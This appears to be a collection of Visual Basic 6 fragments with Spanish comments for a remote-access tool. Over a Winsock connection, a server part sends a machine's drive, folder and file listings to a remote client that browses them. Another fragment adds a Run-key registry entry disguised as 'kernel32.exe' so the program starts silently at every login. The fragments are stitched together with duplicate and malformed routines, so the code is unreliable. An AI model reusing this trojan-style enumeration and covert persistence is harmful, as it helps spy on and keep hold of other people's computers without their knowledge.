dim datos as integer
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
ws.GetData datos
If Left(datos, 6) = "\rutad" Then Call rutad(Mid(datos, 7))
End Sub

'Me parece qe esto no es necesario, pero ya no se qe probar
Private Sub Dir1_Change()
On Error Resume Next
File1.path = Dir1.path
End Sub
Private Sub Drive1_Change()
On Error Resume Next
Dir1.path = Drive1.Drive
End Sub

Public Function rutad(ruta As String)
On Error Resume Next
If ruta = "" Then 'Si enviamos "" vemos particiones
Dim i As Integer
For i = 0 To Drive1.ListCount - 1
ws.SendData "\list" & Drive1.List(i) & "\" 'enviamos "\list" y la ruta de todos los drive
Call Sleep(250)  'La funcion de sleep funciona perfectamente (Por si ay dudas)
Next
Else
Dir1.path = ruta
For i = 0 To Dir1.ListCount - 1
'=
ws.SendData "\list" & Form1.Dir1.List(i) & "\"
Call Sleep(250)
Next
File1.path = ruta
For i = 0 To File1.ListCount - 1
ws.SendData "\list" & File1.path & File1.List(i)
Call Sleep(250)
Next
End If
Exit Function
End Function

Private Sub form_load()
ws.SendData  "\rutad" & ""
End Sub
Private Sub List1_DblClick()
If FormTrans.List1.Text = ".." Then 'Vuelve a las particiones
ws.SendData "\rutad" & ""
List1.Clear
Else
FormTrans.MnuMngrVer_click
End If
End Sub
Public Sub MnuMngrVer_click()
ws.SendData "\rutad" & List1.Text
Text1.Text = List1.Text
List1.Clear
List1.AddItem ".."
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws.GetData datos
If Mid(datos, 1, 5) = "\list" Then List1.AddItem (Mid(datos, 6))
End Sub

Private sub Form_Load()
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "NombreParaGuardarEnElRegistro", "C:\Windows\System32\kernel32.exe"
End sub

Private Sub Timer1_Timer()
Label1.Caption = pb.Value * 100 \ pb.Max & " %"
End Sub

private sub form resize
text1.top = form1.height - 4315
end sub